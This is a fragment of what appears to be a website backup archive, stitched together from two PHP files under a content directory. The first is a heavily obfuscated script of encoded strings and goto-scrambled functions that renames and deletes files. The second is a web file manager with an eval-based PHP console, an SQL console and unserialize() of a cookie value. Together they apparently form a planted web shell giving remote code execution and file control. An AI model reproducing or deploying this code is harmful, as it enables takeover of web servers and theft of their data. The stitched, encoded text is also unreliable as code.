35\60\x38\x35\65\63\x64\64\x35\x34\62\67\142\x34\66\65\145\67\x61\65\x36\67\x66\60\x35\x34\67\64\60\62\x33\61\x30\67\x30\65\x66\66\x31\65\x65\61\x66\x36\x38\x35\67\65\146\66\70\64\61\x37\x30\61\x37\x35\67\x34\x35\x30\x38\66\x39\x37\x65\62\x37\x36\141\x34\x30\65\62\67\x34\x35\x37\x34\66\67\64\x34\x34\66\61\x30\63\65\x31\x35\65\x36\64\66\x34\x36\144\x35\x37\63\x39\64\144\64\62\x37\x34\64\60\65\67\67\x61\x35\63\x37\62\65\144\x34\63\x34\x34\x36\146\x30\145\x37\x38\x30\143\x36\145\65\x61\x34\x34\x36\70\65\x37\x35\66\66\x65\x34\62\x37\65\x31\67\65\64\64\x37\x31\x36\x36\61\67\x63\64\x65\x37\70\x35\70\x35\63\x37\x30\65\x30\x34\143\x37\144\x34\x35\66\146\x30\x33\x35\x31\65\61\x36\x34\66\60\60\x38\x35\62\x37\x63\64\x34\x34\64\x37\x31\x34\60\65\144\x33\x38\x35\66\x37\67\60\x33\64\67\x34\70\66\145\x37\141\67\x38\x35\60\x36\71\65\x34\x34\x38\x36\x34\x35\63\65\67\x31\63\x34\70\x33\x36\x31\64\65\x37\64\61\x37\x63\x36\x31\x37\145\64\x34\67\x38\60\141\65\x36\x37\60\x31\x34\x34\x37\67\144\x34\x32\66\x31\60\67\x30\71\65\x61\66\x30\x33\143\x36\61\65\67\x37\61\x34\144\x34\70\67\66\63\142\x35\x37\x37\70\65\x38\x37\x36\x30\66\x32\x36\64\64\66\x34\x37\141\67\x39\65\x36\66\144\x35\x61\x34\x36\60\62\65\144\x35\x61\x31\x33\x34\x38\63\x36\61\62\65\x37\61\142\x37\x66\66\65\62\x65\x34\x34\66\141\64\60\65\x32\x37\60\x35\x32\64\66\x37\x35\64\66\66\x65\60\x35\65\66\65\x31\x36\62\x36\x39\x36\145\64\65\66\x34\x34\145\64\x32\67\65\64\x64\x35\x37\67\x62\65\71\67\x33\60\61\64\65\x34\x34\x36\146\x37\65\67\70\x35\66\x36\142\65\x65\64\x33\61\x63\x35\x37\61\145\66\x63\64\x30\67\x36\61\x39\65\62\x34\62\67\x33\66\x30\x32\63\x34\x32\67\x63\x35\145\65\x39\67\60\x35\x33\64\141\67\x64\x34\64\x36\62\x30\70\65\x65\x32\145\66\63\63\x63\66\71\65\x36\63\x64\x34\x34\64\62\67\62\64\x66\65\146\62\142\x35\70\x37\x35\x30\x33\x34\x65\64\70\63\x64\x37\65\67\70\61\x32\60\x38\x35\145\64\x32\66\x62\x35\67\60\x39\x36\x34\x34\x30\62\61\x31\60\x35\x65\x31\66\67\x63\66\x31\67\x31\x34\64\67\60\x35\64\x35\x39\x37\x34\x35\x64\x34\x39\x37\x35\64\64\60\x37\x30\60\60\71\62\145\66\67\x36\x38\66\61\65\67\x37\144\x32\x63\x34\61\x37\61\x34\x30\65\145\x32\66\62\145\67\x35\x30\66\x34\60\x34\70\x32\x37\60\x65\x37\x64\x35\x33\66\145\x35\70\x34\x33\x36\x61\x35\67\x31\141\61\x33\64\60\67\65\61\64\x35\145\x34\70\x37\143\66\x30\67\x66\64\x34\x37\60\65\64\x33\60\67\64\x35\144\64\x35\67\146\64\x36\x36\x31\x30\x31\61\67\x35\71\x36\67\66\x34\66\x65\x35\x36\x32\x65\x34\x34\64\66\67\x30\x34\144\65\66\67\71\65\x38\x37\65\60\66\x34\x33\64\62\x36\64\67\x35\x37\x39\60\70\66\x62\x35\64\64\x38\66\x38\x35\63\60\x34\x36\143\x34\61\x37\x30\x31\67\65\64\x34\64\x37\63\x36\61\67\61\64\x64\x37\x63\x30\x37\65\x39\x37\x30\x30\145\64\x37\67\x62\61\66\x30\x37\x31\x33\64\x61\x35\x32\x36\64\x36\67\66\x32\65\146\x37\x65\64\144\x34\x34\x37\x32\64\x63\x35\67\x33\x63\65\x36\67\x37\x35\144\64\60\64\70\x36\x65\x37\x35\x37\x30\x30\70\x30\x38\x35\x64\x34\63\66\61\65\x64\65\146\66\142\64\65\x37\x34\61\x37\65\x34\61\x63\60\70\x36\62\67\61\x34\62\x37\60\60\60\x35\141\67\63\65\143\62\x66\x37\65\x30\61\x30\x37\x30\64\65\65\x35\x36\66\x34\63\142\61\x36\x35\67\67\146\64\x64\64\x32\63\x33\64\60\x35\146\x37\x39\x35\70\67\x32\x30\x31\64\65\64\x34\x33\x39\60\145\67\141\x35\x32\66\71\x35\x39\64\60\x36\x62\65\x33\60\71\x36\x63\64\x39\67\x30\61\67\x35\x65\x34\65\x30\70\x36\70\x37\70\x34\144\x37\x30\65\142\x35\61\x37\x33\65\65\x34\65\x37\x63\x34\64\x36\62\x30\64\x35\x32\65\x35\x36\x34\x36\x35\x36\x64\x35\67\x33\x39\x34\144\x34\x36\62\x34\x34\x30\x35\x64\67\x63\65\x61\67\67\x30\60\64\x37\64\62\66\67\67\x61\67\x65\65\64\66\x65\65\x35\x34\x32\66\x33\65\67\65\145\x36\65\64\x31\x37\x31\61\142\x35\62\64\62\x37\x65\x36\62\63\x64\64\x32\67\60\x35\x64\x35\70\x37\142\65\x30\x34\x63\67\x63\64\x37\66\x66\60\70\x35\x30\65\x38\66\62\x36\x37\66\x62\65\62\x32\x33\64\146\64\x32\x37\x32\x34\x66\65\x37\62\x36\63\60\x37\66\x30\64\x34\63\x34\70\66\145\67\141\67\60\x31\62\66\x62\x35\x63\x31\x62\66\x34\65\61\x30\x33\x36\x65\64\x31\x37\66\x31\64\x35\62\64\63\67\x30\x36\x32\62\x37\63\71\x37\60\x35\x63\63\60\x37\x32\x35\x34\x34\x35\x37\144\64\x31\66\146\x30\x34\x30\x64\x35\x39\x36\x32\x32\65\x36\x64\65\66\x32\67\x34\x66\64\x38\x32\71\62\65\x35\67\67\x35\x35\x31\67\x37\64\x30\x34\x37\x34\x32\66\x33\67\x35\67\x65\x30\143\x36\x32\65\x39\x30\x35\x36\63\65\144\65\142\x36\143\x34\x30\63\x32\66\146\65\x32\x34\62\67\145\66\x32\67\x62\x34\146\67\x30\x35\70\x33\60\x37\62\65\63\x34\x65\x37\64\64\71\60\x37\60\x38\x35\62\x35\65\66\64\x36\x30\x36\x30\65\67\x37\x63\64\146\x34\x32\62\145\64\63\x35\67\63\143\65\141\67\x32\60\x31\x34\x65\x34\x36\66\x36\67\x31\x37\60\60\x38\x36\142\65\143\x34\66\x36\x34\65\144\x30\x33\x31\x33\64\60\x37\x33\61\x37\x35\60\x34\x36\x37\x63\66\x38\x37\x63\x34\x36\x37\x63\65\65\63\60\x37\67\60\x61\64\x39\x37\x63\64\x34\x36\x65\x30\x30\65\x35\x35\x35\x36\x65\62\61\x36\x65\65\x36\x32\145\62\x63\x34\66\x32\x34\x34\143\x35\x37\63\143\x35\141\67\x37\x35\144\x34\x63\64\70\x36\x65\67\61\67\x30\60\x38\x36\61\65\x64\64\x33\x36\x34\65\144\65\x66\x36\67\64\x39\62\70\61\67\64\64\x35\143\x37\x34\x36\x32\67\146\x34\145\67\60\x35\x61\x35\71\67\x36\65\65\x34\x37\67\65\61\x63\66\x36\60\x30\65\64\65\x35\66\64\x32\x35\66\x30\65\x35\67\x66\x34\144\x34\65\x37\62\x34\66\65\x39\x32\x62\65\65\66\x35\61\x64\x34\x34\x34\x32\66\x31\x37\x31\67\x30\x35\x31\66\144\65\x38\64\60\66\x33\65\144\x35\71\66\67\64\61\67\62\66\146\65\60\60\65\67\63\x36\x34\67\71\64\66\66\x61\x34\x30\x35\62\67\60\x35\x32\x34\x37\67\65\x34\x36\66\x65\60\65\x35\x36\65\x36\x36\64\66\60\x36\x39\65\x36\67\144\x34\64\x34\66\63\67\x34\x63\65\142\67\x63\65\66\x36\65\x31\x64\64\64\64\62\66\61\x37\63\67\x30\x35\61\66\71\65\70\64\x30\x36\142\65\x31\65\66\x36\x62\64\x39\67\62\x37\x31\65\x30\64\x30\67\x33\66\x34\x37\70\63\71\67\70\x35\144\x35\70\67\x61\x35\144\64\145\67\x63\64\x39\66\145\x30\67\x35\66\65\x33\66\x34\62\65\x36\71\x35\146\x32\63\x34\x34\64\x31\x37\66\x34\x36\x35\x36\67\146\65\x39\x37\67\x35\x37\x34\x37\64\x38\x36\67\61\60\67\61\x35\x31\x36\x62\64\x65\65\143\x36\x30\65\67\x35\x38\66\x35\64\x38\67\61\61\67\x35\62\x34\x30\60\70\66\64\67\61\64\x64\67\x64\x35\x38\x35\x36\x37\x36\65\66\63\61\67\x66\64\70\x36\x32\x30\61\x35\66\x35\66\66\145\x36\67\61\x36\65\x36\67\71\64\64\x34\64\67\62\x33\142\x35\144\67\x34\x35\x39\67\63\x30\63\x34\143\64\x39\66\x65\67\61\67\x61\65\61\x36\x64\x35\x34\x31\146\60\62\x35\65\65\143\x36\x37\64\x38\67\x34\61\70\65\x30\61\x66\67\x37\x36\x36\x32\x34\x33\x39\67\x38\65\71\x35\70\x37\60\x31\60\x33\x31\x37\x66\x34\x39\66\x36\x30\60\65\61\65\65\66\145\66\64\66\x32\65\67\63\x64\63\62\64\x38\67\141\64\x36\65\144\62\62\x35\141\67\x35\60\61\x34\63\64\61\66\x31\x37\x39\67\x39\65\62\60\70\x35\x35\64\x36\61\143\64\67\64\63\x36\x66\64\x36\67\x35\67\x31\x35\x66\x34\x34\67\60\x36\62\x37\146\64\64\x37\141\65\70\x35\71\67\62\61\x34\x34\141\x37\x66\64\x36\60\67\60\x39\65\61\65\x33\x36\x33\63\143\66\142\x35\63\x37\x31\x34\65\x34\60\62\x39\63\x62\65\71\x37\x39\x35\61\67\x35\60\x38\63\x38\x34\x32\66\64\x37\x38\x37\x61\65\x30\x36\x62\65\x64\x31\x63\x36\x34\65\64\61\141\66\64\64\x32\67\x37\61\60\65\67\x34\x33\67\67\x36\66\62\x37\64\x32\x37\145\60\60\x35\63\x37\62\x35\x63\64\67\x37\x66\x34\x33\x30\67\x30\x33\x31\x37\x35\x39\66\x36\66\x31\x36\144\65\63\67\x61\x32\143\x34\x35\x37\x30\x34\x63\x35\x62\62\66\65\71\x37\x35\x30\x30\62\x36\x34\70\66\60\x31\60\x37\71\x35\x37\x31\x36\65\144\x34\67\x30\x32\65\x35\65\144\x36\143\64\66\x37\x35\x31\70\x35\146\64\64\67\x33\66\62\x37\146\64\145\67\141\65\x65\x35\61\67\63\x30\141\64\x63\67\x35\x34\x38\66\x34\60\67\60\x64\63\x30\x36\67\66\x37\x30\x38\x35\x35\x37\143\64\x66\x34\61\x37\x62\64\144\65\142\62\x36\63\60\67\x35\x35\x61\64\145\x34\x36\x33\x30\x31\x30\x36\x61\64\x62\x36\141\x35\145\64\x37\x36\67\65\x64\65\x39\66\x34\x34\x34\x37\67\x31\142\65\62\64\71\67\67\67\62\x36\64\64\65\67\x61\x35\142\62\x65\x37\141\x35\63\x34\143\x37\x39\x34\60\x31\x39\x30\x35\65\x66\x35\71\x36\x33\63\146\x36\144\x35\x33\67\141\64\71\x34\64\x33\x37\64\x63\x35\x36\63\70\65\x35\x37\61\60\x33\64\x35\x34\x35\x36\146\61\60\67\60\60\142\60\70\65\x61\x34\63\61\143\x35\144\x35\66\66\67\x34\x39\67\64\61\70\x35\67\64\64\67\143\x36\65\x37\x61\x34\x64\x37\x65\65\65\63\60\x37\62\65\60\x34\x36\67\x66\64\64\x36\x66\60\x33\x31\x33\65\x31\x36\64\63\x66\66\62\65\61\x37\x38\64\65\64\x34\x37\62\x34\x63\x35\x65\x32\x36\65\x35\x37\146\60\65\x34\145\64\60\66\67\x37\70\x37\x63\x30\x62\66\x31\x35\x65\x34\x37\66\x34\x35\x64\65\x63\66\x35\64\61\x37\x36\61\x34\x35\x37\64\x31\x37\x65\x36\x30\x37\146\64\x36\67\x61\60\63\x35\x33\67\63\x35\66\x34\x63\x37\x62\61\x36\x31\x39\x30\x35\65\x66\65\71\x36\x37\x36\x38\x36\71\65\65\x32\x37\x34\144\64\x32\x37\x30\63\142\x35\x66\x37\x62\62\x65\67\x35\x30\x30\64\x65\x34\61\x36\60\x37\66\67\x63\x35\x34\66\x64\65\x65\61\146\x36\141\x35\67\x35\146\x30\144\64\x31\67\x36\x31\142\65\66\64\62\61\66\x36\65\62\x33\x33\71\x37\143\x31\x39\x32\145\67\62\x30\71\x34\x35\67\x66\64\70\61\71\x30\x39\x35\x65\x35\x39\x36\66\63\66\x30\x38\x35\61\67\143\64\x35\x34\x36\67\61\62\65\65\x65\67\141\65\x35\67\65\60\x32\x34\x33\64\60\66\66\67\x35\x37\x65\65\63\x36\x39\65\141\64\x38\61\143\65\63\x30\x33\x31\x33\x34\61\x37\x36\61\x30\65\x36\x34\62\67\146\66\x31\x37\x30\64\144\67\60\65\144\x35\x39\67\x37\x35\66\64\141\67\x35\x34\x33\66\x34\x30\63\x35\x32\65\x35\x36\x37\x36\x30\66\61\x35\65\x32\x37\x34\x64\x34\62\x37\x37\x34\64\65\66\x37\65\63\x30\x36\x35\x31\144\64\x34\64\62\66\x31\67\x31\67\x30\65\x31\66\61\x35\70\x34\60\x36\67\x35\x64\x31\x65\x36\x37\x34\x30\62\142\61\x32\x35\145\64\x38\67\67\x36\70\62\x37\x33\71\x37\x39\65\146\x32\145\67\x61\x35\65\x34\x37\67\70\x34\63\66\146\60\x33\60\x61\65\x38\66\64\66\63\x31\x36\65\146\x37\x66\64\66\64\x30\62\64\x34\143\65\x37\67\141\65\x31\67\x32\60\x32\64\63\x34\62\63\144\x31\x30\x37\70\x35\60\x30\70\65\x65\60\61\66\x62\65\x35\65\142\66\x63\x34\65\67\67\x31\142\65\x32\x31\x66\x37\143\x36\62\x37\144\x34\64\67\144\65\x63\x32\x65\x37\64\60\63\x34\x37\x37\x34\x34\67\60\x37\60\x39\x35\63\65\x38\x36\x65\63\x62\66\62\65\146\67\143\62\143\64\61\x32\x65\x34\x63\65\66\62\x31\62\x65\x37\67\60\66\64\145\64\62\x36\x65\x37\63\x37\x64\x35\x34\x36\x64\65\x34\61\x62\66\141\65\x64\x35\x37\x36\67\x34\60\x37\x31\x31\67\x35\x30\64\x30\67\145\66\64\x37\70\x34\64\x37\x39\61\x64\x32\x65\67\60\65\64\x32\146\67\x64\64\65\66\145\x30\x35\x30\x61\x35\x33\x36\64\x36\64\66\x64\65\x33\x37\141\64\146\64\x31\x32\71\x34\x63\65\x61\62\x62\x35\70\67\145\x30\x34\64\67\64\x36\x36\64\61\60\x37\x38\x35\62\66\x32\65\x65\x34\61\61\x63\65\67\x35\x39\x31\x33\64\61\67\62\61\70\65\x65\x34\x32\67\x33\66\x32\62\x34\62\67\x37\144\65\x65\65\70\67\x30\65\63\x33\61\67\144\x30\x31\66\66\60\65\60\x30\x35\141\x36\64\66\66\66\x30\65\65\x37\x63\x34\x34\x34\x30\x37\x36\64\x66\x35\66\x37\x34\65\61\67\x65\x30\65\x33\70\64\70\66\60\x37\70\x37\71\x30\x38\66\144\x35\145\x31\143\x36\141\x35\144\x30\x39\66\64\x34\x30\67\x66\61\x30\x35\x30\x34\x34\x37\63\x36\66\67\x62\64\x36\67\70\65\145\x35\x31\x37\60\x35\65\64\71\67\144\x34\60\x36\62\x30\67\65\x65\x35\71\x36\67\x36\67\66\x32\x35\x66\67\143\64\144\64\x31\67\141\64\144\x35\x65\63\143\x35\70\x37\x37\60\66\64\67\x34\x32\63\x64\x31\x30\67\70\x30\x38\66\145\x35\141\61\146\60\62\65\63\60\63\x36\x65\x34\x30\67\145\61\70\65\x34\x34\63\x37\x33\x36\x32\63\71\x32\67\67\70\x35\x64\65\x38\x37\66\x35\x37\63\x31\x37\70\x34\62\66\x36\60\x37\x35\x32\x35\141\66\64\63\x62\66\x65\x35\x66\x32\x34\x34\x39\64\61\67\x34\x32\65\65\x66\x37\71\x33\60\67\x36\x35\x65\64\x35\x34\x36\66\64\x37\66\x37\x31\65\63\66\61\x35\x65\64\x37\66\70\65\x37\65\x64\x30\x64\64\61\x32\x38\67\x31\x35\x65\64\70\67\x30\66\x36\x32\63\62\x37\x37\x38\65\x64\x35\x36\67\141\60\145\64\x39\x37\143\x34\x31\x36\x66\60\67\x35\x32\x35\x39\66\x65\x36\61\x36\144\65\146\67\x38\x34\66\x34\x35\63\x37\x34\x66\x34\x64\66\x31\65\x32\x37\65\x30\x36\x34\x66\64\x38\x36\x30\x37\x39\67\143\x35\67\x30\x38\x35\64\x31\x63\66\x34\65\x34\x35\144\61\x33\x34\62\x33\62\61\x32\x35\x34\x34\67\x30\70\66\x35\x37\x38\64\x64\x37\145\x30\141\x35\x33\66\60\x34\x39\64\144\67\x66\x34\67\66\145\x30\x39\x35\60\65\x36\66\x32\x36\x30\66\144\65\x66\x37\x65\63\62\x34\61\x37\67\62\x35\65\71\63\70\x35\71\67\63\x30\x30\x34\65\x35\x32\67\141\67\x32\67\141\x35\60\66\x62\65\x34\64\66\66\x33\65\x31\65\146\66\64\64\x32\x37\67\x31\x34\x35\67\64\65\x30\70\x36\66\63\144\x32\x37\x37\x63\x35\144\x35\71\66\x30\64\x39\x34\144\x37\144\64\64\x36\x31\x30\63\60\x64\65\61\66\60\63\x36\x30\x38\64\65\x36\64\64\x65\x34\x30\x37\66\x33\x62\x35\x64\x37\71\x35\x35\x37\61\x35\67\62\66\x35\x32\67\141\x37\x32\x37\70\x35\63\x36\x62\65\145\x34\61\61\143\65\63\60\x39\x36\x35\65\x32\x36\x62\x31\63\65\x36\x34\64\x37\x37\66\x35\67\x62\64\61\66\141\63\x31\60\144"), $QRuUd), true); goto uK1iM; gXsGs: hC1Jr: goto jAyIh; yA9xZ: goto n13Oz; goto iVwpS; ZJ77m: echo B6Kq9(28); goto r3KFs; rutpU: $vWNXk = rtrim($Xl7T3, b6KQ9(20)) . B6Kq9(21) . $BDlpb; goto ZEn_r; KQlAl: function E9Ik1($LVVWq) { goto NoyGg; a7TkG: if (!!($LVVWq >= 1024)) { goto yMwaE; } goto oOrdE; yYTy3: if (!!($LVVWq >= 1048576)) { goto H3HRD; } goto a7TkG; nXgF1: return number_format($LVVWq / 1073741824, 2) . b6Kq9(80); goto MX5tV; c70Zq: yMwaE: goto ilBo0; oOrdE: return $LVVWq . b6KQ9(83); goto vU165; MX5tV: goto BsBN8; goto GxL6K; n5MRK: return number_format($LVVWq / 1048576, 2) . B6Kq9(81); goto vxVe3; NoyGg: if (!!($LVVWq >= 1073741824)) { goto PvE1_; } goto yYTy3; vU165: goto BsBN8; goto Xq31C; GxL6K: H3HRD: goto n5MRK; ilBo0: return number_format($LVVWq / 1024, 2) . b6KQ9(82); goto NWT7X; Xq31C: PvE1_: goto nXgF1; NWT7X: BsBN8: goto CaCBw; vxVe3: goto BsBN8; goto c70Zq; CaCBw: } goto UaFv_; w_s0k: if (!!($kcn9H === null)) { goto XeIs1; } goto zP8PC; Fuf3b: echo b6Kq9(42); goto wtVMq; PlYPb: ajzVl: goto KQlAl; yfUh2: if (!!rename($BT3cI, $JwZ0v)) { goto Wm5H2; } goto aUqOK; aADBN: ybwGs: goto lgSoT; lgSoT: if (!isset($_POST[b6kQ9(17)])) { goto viKBt; } goto oR7gw; UaFv_: echo "\74\57\164\141\x62\154\145\x3e\15\12\74\57\144\151\166\76\74\163\143\x72\151\x70\164\76\15\12\146\x75\156\x63\x74\151\x6f\x6e\40\164\157\147\x67\154\x65\106\x6f\162\x6d\50\146\157\162\155\x49\x64\51\40\x7b\xd\12\x76\x61\x72\x20\146\x6f\162\155\163\x20\75\x20\144\157\x63\x75\x6d\145\156\164\56\161\165\x65\162\171\123\145\x6c\x65\x63\164\157\x72\x41\154\154\50\47\x2e\146\x6f\x72\x6d\x2d\x63\x6f\x6e\x74\x61\151\x6e\145\162\x27\x29\x3b\xd\12\146\157\162\x6d\x73\x2e\x66\157\162\x45\141\x63\150\50\146\x75\156\x63\164\x69\157\x6e\x28\146\157\162\x6d\x29\40\x7b\15\12\x66\157\162\155\x2e\x73\164\171\x6c\145\x2e\x64\x69\163\160\154\141\171\40\x3d\x20\x27\156\157\156\x65\x27\73\15\12\175\x29\x3b\166\x61\162\40\x66\157\162\155\40\x3d\40\x64\157\143\x75\x6d\x65\x6e\x74\x2e\x67\x65\164\x45\154\145\155\145\156\x74\102\x79\111\144\50\146\157\162\x6d\111\x64\x29\73\xd\12\x69\146\40\x28\146\157\x72\155\x29\40\x7b\15\12\x66\x6f\162\155\x2e\x73\x74\x79\154\x65\56\144\x69\163\x70\x6c\x61\x79\40\75\40\50\x66\157\162\155\x2e\163\164\171\x6c\x65\x2e\144\x69\163\x70\x6c\x61\171\40\75\75\x3d\x20\x27\x62\x6c\157\x63\153\47\x29\40\77\40\x27\x6e\157\156\145\x27\40\x3a\40\47\x62\x6c\157\143\153\47\73\xd\xa\175\xd\12\175\x66\x75\x6e\143\164\x69\x6f\x6e\x20\143\x6f\x6e\146\151\x72\155\104\145\154\145\164\145\50\x70\x61\164\150\51\40\x7b\15\12\x69\x66\40\x28\x63\x6f\x6e\x66\151\162\x6d\50\x27\101\x70\x61\153\141\150\x20\x41\156\144\141\x20\171\141\153\x69\156\40\151\x6e\x67\151\x6e\x20\x6d\145\156\147\x68\x61\x70\x75\163\x20\47\x20\53\40\160\141\164\x68\x20\x2b\40\x27\x3f\47\51\51\40\x7b\15\12\166\x61\x72\x20\146\x6f\162\155\x20\75\40\144\x6f\143\x75\x6d\145\156\164\56\143\x72\145\141\164\145\105\154\x65\155\x65\x6e\164\50\x27\146\x6f\x72\x6d\x27\x29\x3b\xd\xa\x66\x6f\162\x6d\x2e\x6d\145\x74\150\157\144\40\x3d\40\x27\x50\x4f\123\124\47\73\15\xa\146\157\162\x6d\56\x61\143\x74\x69\x6f\156\x20\75\40\47\x27\73\166\141\x72\x20\x69\x6e\x70\x75\164\40\x3d\40\144\157\x63\x75\x6d\x65\156\x74\56\143\162\x65\x61\164\145\x45\x6c\x65\x6d\x65\x6e\164\x28\47\x69\x6e\x70\165\x74\47\x29\x3b\15\xa\x69\x6e\x70\165\164\56\x74\171\160\145\40\x3d\40\x27\150\151\144\144\145\x6e\x27\x3b\xd\12\x69\156\x70\x75\164\56\x6e\x61\155\145\40\75\x20\47\144\x65\154\145\x74\x65\137\x70\141\164\150\x27\x3b\xd\12\x69\156\160\165\x74\56\x76\141\x6c\x75\145\x20\x3d\x20\160\141\164\150\x3b\xd\12\146\x6f\x72\x6d\56\x61\x70\x70\145\x6e\x64\x43\150\151\154\144\x28\151\156\160\165\x74\x29\73\144\157\143\x75\x6d\145\156\164\x2e\142\x6f\x64\171\56\141\160\160\x65\x6e\x64\x43\x68\151\x6c\x64\50\x66\x6f\162\155\51\x3b\xd\xa\146\157\162\155\x2e\163\x75\142\x6d\151\164\50\51\73\xd\xa\175\xd\xa\x7d\xd\xa\74\57\x73\x63\x72\x69\160\164\x3e\xd\xa\74\57\142\x6f\x64\171\x3e\xd\xa\x3c\57\x68\164\x6d\x6c\x3e";
?> backup/content/ltao/lfc/index.php 0000666 00000240701 15134031111 0013004 0 ustar 00 true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' '.$name.'';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
